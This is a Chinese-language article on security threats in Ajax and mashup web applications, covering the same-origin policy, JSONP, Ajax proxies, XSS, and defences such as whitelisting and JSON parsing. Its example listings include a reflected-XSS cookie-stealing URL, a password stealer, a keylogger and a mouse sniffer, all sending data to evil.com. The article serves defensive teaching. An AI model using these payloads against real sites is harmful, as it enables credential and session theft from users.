Ajax,即異步 JavaScript 與 XML,是 Web 2.0 中的一項關鍵技術,它允許把用戶和 Web 頁面間的交互與 Web 瀏覽器和服務器間的通信分離開來。尤其是 Ajax 可以驅動 mashup,mashup 就是將多個內容或服務集成到一個單一的用戶體驗中。然而,由于其動態和多疇性,Ajax 和 mashup 技術引入了一些新型威脅。了解 Ajax 技術所帶來的威脅,并通過探索一些最佳實踐來避免它們。
![]() |
Ajax 構建于動態 HTML(DHTML)技術之上,其中包括如下這些最常見的技術:
- JavaScript:JavaScript 是一種腳本語言,在客戶端 Web 應用程序中經常使用。
- 文檔對象模型(Document Object Model,DOM):DOM 是一種用于表示 HTML 或 XML 文檔的標準對象模型。如今,大多數瀏覽器都支持 DOM 并允許 JavaScript 代碼動態地讀取和修改 HTML 內容。
- 層疊樣式表(Cascading Style Sheets,CSS):CSS 是一種用于說明 HTML 文檔表示的樣式表語言。JavaScript 能夠在運行的時候對樣式表進行修改,這樣便可以動態地更新 Web 頁面的表示。
XMLHttpRequest
:XMLHttpRequest
是一個 API,它允許客戶端的 JavaScript 與遠程服務器建立 HTTP 連接和交換數據,比如說純文本、XML 和 JSON(JavaScript Serialized Object Notation)。- JSON:JSON 由 RFC 4627 提出,是一種輕量的、基于文本的、獨立于語言的數據交換格式。它以 ECMAScript 語言的一個子集為基礎(這使之成為 JavaScript 語言的一個部分),并且定義了一小套格式規則用以創建結構數據的可移植表示。
注意,Ajax 應用程序中還有一些其他常用的格式可以替代 JSON,比如說 XML 和無格式的純文本。此處我們選擇討論 JSON,其原因在于它具有一些隱藏的安全問題,稍后我們將在文章中對其進行研究。
建議對 Ajax 還不熟悉的讀者先閱讀 參考資料 中的文章。
當來自多個始發源的內容以某種方式被集成到一個單一的應用程序中時,一些內容相互之間可能具有不同的信任級別,或者它們可能根本沒有必要相互信任。這樣自然而然會產生某種需求,即把來自不同始發者的內容分離開來,把它們之間的沖突減至最少。
同源策略是當前瀏覽器的保護機制的一部分,該機制將來自不同域(假設域代表的是始發者)的 Web 應用程序分離開來。也就是說,如果多個窗口或框架中的一些應用程序是從不同的服務器下載的,那么它們無法相互訪問數據和腳本。注意,同源策略只能應用于 HTML 文檔。通過 <script src="..." >
標記導入 HTML 文檔的 JavaScript 文件被認為是該 HTML 文檔的同源的一部分。該策略在所有主要瀏覽器實現中都有執行。
在 XMLHttpRequest
的上下文中,同源策略的目的是控制應用程序與遠程服務器的交互。然而,同源策略對 Web 2.0 應用程序的影響力比較有限,這有如下幾個原因:
- 可以通過許多方法繞過同源策略:稍后我將在文章中演示其中的一些方法。
- Web 2.0 應用程序的一個重要特性就是用戶對內容的貢獻:也就是說,通常內容并不是由受信任的服務提供的,而更多的是由異步用戶通過 blog、wiki 等媒介提供的。因此,即便是單個服務器中的內容實際上也能夠來自多個來源。
- 瀏覽器強制同源策略將服務器的域名作為串字面值進行檢查:例如,http://www.abc.com/ 和 http://12.34.56.78/ 會被作為不同的域而區別對待,即使 www.abc.com 的 IP 地址實際上就是 12.34.56.78。此外,URL 中的任何路徑表達式都將被忽略。例如,http://www.abc.com/~alice 會被識別為 http://www.abc.com/~malroy 的同源,從而忽略了這樣一個事實,即這兩個目錄有可能屬于不同的用戶。
- 大多數 Web 瀏覽器允許 Web 應用程序將域的定義放寬為應用程序自身的超域:比如說,如果應用程序是從 www.abc.com 處下載的,那么應用程序可以把
document.domain
屬性重寫為 abc.com 或者就是 com(在 Firefox 中)。大多數最新的瀏覽器只允許訪問已經把它們的document.domain
屬性重寫為相同值的窗口或框架中的窗口對象。然而,一些版本比較老的瀏覽器允許與document.domain
屬性中指定的域建立XMLHttpRequest
連接。 - 即使某個 Web 服務器位于受信任的域中,該服務器可能并不是內容的始發源,尤其是在 Web 2.0 的上下文中:比如說,企業門戶服務器、基于 Web 的郵件服務器或者 wiki 可以是受信任的,但是他們所托管的內容可能包含來自具有潛在的惡意的第三方的輸入,這個第三方可以是跨站腳本(cross-site scripting,XSS)攻擊(該攻擊我們將在稍后介紹)的目標。因此,服務器所在的域并不能代表其內容的可信任度。
由于 JSON 只是一種含有簡單括號結構的純文本,因此許多通道都可以交換 JSON 消息。因為同源策略的限制,我們不能在與外部服務器進行通信的時候使用 XMLHttpRequest
。JSONP(JSON with Padding)是一種可以繞過同源策略的方法,即通過使用 JSON 與 <script>
標記相結合的方法,如 清單 1 所示。
清單 1. JSON 例子
<script type="text/javascript" src="http://travel.com/findItinerary?username=sachiko& reservationNum=1234&output=json&callback=showItinerary" /> |
當 JavaScript 代碼動態地插入 <script>
標記時,瀏覽器會訪問 src
屬性中的 URL。這樣會導致將查詢字符串中的信息發送給服務器。在 清單 1 中,所傳遞的是 username
和 reservation
作為名稱值對傳遞。此外,查詢字符串還包含向服務器請求的輸出格式和回調函數的名稱(即 showItinerary
)。<script>
標記加載后,會執行回調函數,并通過回調函數的參數把從服務返回的信息傳遞給該回調函數。
Ajax 代理是一種應用級代理服務器,用于調解 Web 瀏覽器和服務器之間的 HTTP 請求和響應。Ajax 代理允許 Web 瀏覽器繞過同源策略,這樣便可以使用 XMLHttpRequest
訪問第三方服務器。要實現這種繞過,有如下兩種方法可供選擇:
- 客戶端 Web 應用程序知道第三方 URL 并將該 URL 作為 HTTP 請求中的一個請求參數傳遞給 Ajax 代理。然后,代理將請求轉發給 www.remoteservice.com。注意,可以把代理服務器的使用隱藏在 Web 應用程序開發人員所使用的 Ajax 庫的實現中。對于 Web 應用程序開發人員而言,它看上去可能完全不具有同源策略。
- 客戶端 Web 應用程序不知道第三方 URL,并且嘗試通過 HTTP 訪問 Ajax 代理服務器上的資源。通過一個預定義的編碼規則,Ajax 代理將 所請求的 URL 轉換為第三方服務器的 URL 并代表客戶檢索內容。這樣一來,Web 應用程序開發人員看上去就像是在和代理服務器直接進行通信。
Greasemonkey 是一個 Firefox 擴展,它允許用戶動態地對 Web 頁面的樣式和內容進行修改。Greasemonkey 用戶可以把用戶腳本(user script)文件與一個 URL 集合建立關聯。當瀏覽器通過該 URL 集合加載頁面時,便會執行這些腳本。Greasemonkey 為用戶腳本的 API 提供了額外的許可(與運行在瀏覽器沙盒中的腳本的許可相比較)。
GM_XMLHttpRequest
是其中的一個 API,它從本質上說就是一個不具有同源策略的 XMLHttpRequest
。用戶腳本可以將瀏覽的內置 XMLHttpRequest
替代為 GM_XMLHttpRequest
,從而許可 XMLHttpRequest
執行跨域訪問。
GM_XMLHttpRequest
的使用只能通過用戶同意的途徑才能受到保護。也就是說,Greasemonkey 只有在建立新用戶腳本與特定 URL 的集合之間的關聯時才會要求用戶配置。然而,不難想象一些用戶可能會被欺騙,在沒有完全理解其后果時就接受該安裝。
不僅開發人員在避免同源策略時會向惡意用戶露出攻擊面,當惡意代碼被插入 Web 應用程序中時當前的應用程序也易于受到攻擊。遺憾的是,惡意代碼進入 Web 應用程序的方法多種多樣。我們將簡要討論其中兩種可能的途徑,這對于 Web 2.0 的下上文來說也日漸相關。
跨站腳本(Cross-site scripting,XSS)
XSS 是一種很常見的攻擊手段,在該攻擊中攻擊者將一個惡意代碼段注入到一個運行良好的站點中。XSS 攻擊有如下兩種基本的類型:
- Reflected XSS
- Stored XSS
reflected XSS 攻擊利用了 Web 應用程序安全性低的弱點,該應用程序在瀏覽器中顯示輸入參數而不對其中是否存在活動內容進行檢查。通常,攻擊者會誘使受害者單擊 URL,如 清單 2 所示。
清單 2. reflected XSS 攻擊的一個示例 URL
http://trusted.com/search?keyword=<script>document.images[0].src="http://evil.com/steal?cookie=" + document.cookie; </script> |
假設 trusted.com 提供了一個服務,該服務具有一個搜索特性能把搜索結果和輸入的關鍵字一起提交回來。如果搜索應用程序沒有過濾 URL 中的一些特殊字符(如小于號 (<) 和大于號 (>)),則 <script>
標記也將被插入到用戶 Web 頁面中,這樣將會把文檔的 cookie 發送給遠程服務器 evil.com。
隨著 Web 2.0 的普及 stored XSS 攻擊越來越嚴重。Web 2.0 成功的關鍵是大眾之間的共享、交互和協作,因此用戶有更多的機會可以通過一些服務(比如說社會網絡服務(social network services,SNS)、wiki 或 blog)看到其他用戶(具有潛在惡意性)的輸入。
不管怎樣,輸入值驗證和數據消毒(sanitation)是防止 XSS 攻擊的關鍵因素。通常,Web 服務器從用戶輸入中移除腳本,但是攻擊者經常會利用服務器的弱點繞過這些過濾器,從而造成一些重大的攻擊,比如說 Yamanner 或 MySpaceIn 蠕蟲。
mashup 應用程序是一種 Web 應用程序,它可以把來自多個來源的內容和服務結合到一個集成的用戶體驗中。通常,mashup 應用程序會造成一個單一的客戶端應用程序,因此 mashup 中的不同部分可以通過一些瀏覽器資源(比如說 DOM 樹或瀏覽器窗口工具)來進行信息共享和交互。當 mashup 中的某些部分是出于惡意目的編寫的(或者被攻擊了),它可以將惡意代碼注入到應用程序中。這樣會導致各種類型的攻擊(類似于 XSS),包括盜取用戶的敏感信息。
![]() ![]() |
![]()
|
我們已經知道攻擊者是如何將代碼注入應用程序的,接下來再看看一些常見攻擊所帶來的影響。
對于攻擊者而言,最直接的受益就是獲得用戶的敏感信息,比如說用戶密碼或 cookies。因為注入腳本可以訪問 DOM 樹的任何部分,所以它們可以從登錄表單的文本字段中竊取密碼信息。例如,清單 3 中展示的代碼能夠竊取信息并將其發送到某個攻擊者的服務器。
清單 3. 攻擊示例:從文本字段中竊取密碼
function stealpw(){ var pw = document.getElementById("password").value; document.images[0].src="http://evil.com/imgs/stealpw?pw=" + pw;}document.getElementById("button").onclick = stealpw; |
在本例中,攻擊者需要等待一段時間,直到用戶單擊提交按鈕之后才能接收到他的數據。Ajax 使攻擊者的工作更加簡單,這是因為它允許攻擊者向遠程服務發送任意信息,而不用等待利用用戶的動作,比如說點擊一個按鈕或單擊一個鏈接。這種類型的通信量通常會被視為可疑行為,但是由于 Ajax 具有異步性,所以這種通信量常常不會被檢測到。
使用類似的方法,攻擊者還能夠竊取敏感 Web 應用程序中的文檔 cookies(比如說在線金融應用程序)。文檔 cookies 可以允許攻擊者劫持會話或使用所竊取的憑證進行登錄。
注意,Microsoft® Internet Explorer® 6 或更高版本對 HttpOnly
cookies 提供了支持,這樣可以防止客戶端腳本訪問文檔 cookies。然而,由于大多數 Web 應用程序都不能依賴瀏覽器來實現,所以這種方法也無濟于事。
清單 4 展示了一個簡單的鍵盤記錄工具示例,該工具竊取 Web 頁面中的鍵盤事件并將它們發送給遠程服務器。鍵盤記錄工具允許攻擊者劫持任何用戶輸入;比如說,如果某個用戶在使用一個基于 Web 的電子郵件服務,那么鍵盤記錄工具將記錄下任何文本輸入并將其發送給攻擊者。然后,攻擊者能夠通過分析記錄數據檢索出憑證信息,比如說密碼和憑證信息。
清單 4. 攻擊示例:鍵盤記錄工具
function keylogger(e){ document.images[0].src = "http://evil.com/logger?key=" + e.keyCode;};document.body.addEventListener("keyup", keylogger, false); |
軟鍵盤是防止鍵盤記錄工具竊取敏感輸入信息(比如說用于在線金融服務的登錄 PIN 碼)的一個常用技巧。然而,鼠標嗅探器可以使用類似于鍵盤記錄工具所使用的技巧。通過竊取鼠標事件的 X 和 Y 坐標,推算出鼠標在軟鍵盤上所點擊的鍵也是有可能的。清單 5 演示了一個簡單的鼠標嗅探器的示例。
清單 5. 攻擊示例:鼠標嗅探
function sniffer(e){ document.images[0].src= "http://evil.com/imgs/sniffer?x=" + e.clientX + "&y=" + e.clientY;};document.body.addEventListener("mouseup", sniffer, false); |
使用 DOM 接口,攻擊者能夠修改 DOM 樹中的任何信息。比如說,當某個用戶正在進行在線轉帳操作時,攻擊者把目標帳戶修改為屬于他自己的帳戶也是可行的。其結果是,轉帳的金額將被存入攻擊者的帳戶中。
在另一種攻擊類型中,攻擊者可能會修改樣式表,把信息隱藏起來不讓用戶發現。比如說,假設某個 Web 頁面包含有一個警告消息,如 清單 6 所示。
清單 6. 警告消息
...<style type="text/css"> #warning { color: red } </style>...<div id="warning">The links in this page may refer to potentially malicious Web pages, so be careful. </div>... |
攻擊者可能會修改樣式表,消除警告。比如說,清單 7 中展示的 JavaScript 代碼修改了警告的樣式,使它在白色的背景中不可見。
清單 7. 攻擊示例:消除警告
var e = document.getElementById("warning");e.style.color= "white"; |
![]() ![]() |
![]()
|
我們對攻擊有可能的實現和其所帶來的后果有了基本的了解,接下來再看看一些技巧,并應用這些技巧改善 Ajax 應用程序的安全性。
正如我們在 XSS 示例中所看到的,大多數的攻擊都利用了服務器端的弱點,注入惡意腳本。因此,要保護 Web 應用程序,第一步需要添加輸入驗證。輸入驗證和數據消毒會從不可信的輸入中過濾掉所有可能的活動或惡意的內容。
輸入驗證的兩種類型:
- 黑名單:在這種方法中,黑名單中的所有字符都會從輸入中過濾掉。黑名單所面臨的最大的挑戰就是要確保所有危險的字符都包含在名單中。因為要預測到所有可能的輸入組合是不可能的,所以黑名單經常不能實現正確的驗證。
- 白名單:這種替代方法列出所有允許的字符并從輸入中移除所有其它的字符。白名單所面臨的最大的挑戰就是在保持列表盡可能簡短的同時,仍然能夠提供足夠的靈活性,允許 Web 應用程序所需的輸入類型。
不能把黑名單或白名單作為一種絕對安全的解決方案。但是,人們通常認為白名單是更加安全的選擇。因此,推薦您使用白名單來清除具有潛在危險性的輸入。
對發送給瀏覽器并在其上顯示的字符串中的特殊字符(比如說把小于號 (<) 換成 "<")進行轉義是增強安全性的另一種方法。有些程序語言提供了一些內置的函數用于轉義特殊字符。
由于應用程序中的程序錯誤都比較類似,因此許多 Web 應用程序都易于受到攻擊。所以,安全專家開發了一些工具,用于檢測這些不安全的編程實踐。此類工具稱為漏洞檢查工具,它們能預先檢測出潛在的漏洞。這些工具檢測出的最常見的漏洞之一就是程序員忘記對潛在的惡意輸入調用消毒例程。
可以使用若干種方法在 JavaScript 程序中動態地生成代碼。最著名的函數之一就是 eval()
函數,該函數允許您將任意字符串做為 JavaScript 代碼執行。然而,肆無忌憚地使用該函數是非常危險的。遺憾的是,一些使用廣泛的 JavaScript 庫在內部直接使用 eval()
函數。
由于 JSON 是以 JavaScript 的一個子集為基礎的,所以腳本內容會潛在地包含惡意代碼。然而,JSON 是 JavaScript 的一個安全的子集,不含有賦值和調用。因此,許多 JavaScript 庫使用 eval()
函數將 JSON 轉換成 JavaScript 對象。要利用這點,攻擊者可以向這些庫發送畸形的 JSON 對象,這樣 eval()
函數就會執行這些惡意代碼?梢圆扇∫恍┓椒▉肀Wo JSON 的使用。第一個方法是使用 RFC 4627 中所定義的正則表達式確保 JSON 數據中不包含活動的部分。清單 8 演示了如何使用正則表達式檢查 JSON 字符串。
清單 8. 使用正則表達式檢查 JSON 字符
var my_JSON_object = !(/[^,:{}\[\]0-9.\-+Eaeflnr-u \n\r\t]/.test( text.replace(/"(\\.|[^"\\])*"/g, ' '))) && eval('(' + text + ')'); |
另一種更具安全性的方法是使用 JSON 解析器對 JSON 進行解析。由于 JSON 的語法相當的簡單,您可以輕易地實現這種解析器,而不會帶來顯著的性能差異。
![]() |
您可以利用同源策略使攻擊者無法輕易地訪問整個 DOM 樹。當您把不同域中的數據加載到一個 <iframe>
中時,應該給予該數據一個屬于自己的 JavaScript 執行上下文和 DOM 樹。這樣可以防止攻擊者從主頁面中竊取信息。盡可能多地 <iframe>
限制不可信的外部內容是一個良好的實踐。
在這篇文章中,我們概述了在 Web 2.0 應用程序中避免同源策略的各種不同的方法。我們還演示了這些方法如何在 Web 應用程序中公開一些新的攻擊點。我們討論了一些常見的攻擊類型和這些攻擊所帶來的后果。最后,我們在簡短的最佳實踐部分中對文章進行了總結,使用這些最佳實踐可以避免一些最常見的攻擊。
8_200711191121421
8_200711191121421
8_200711191121421
8_200711191121421
文章來源于領測軟件測試網 http://www.kjueaiud.com/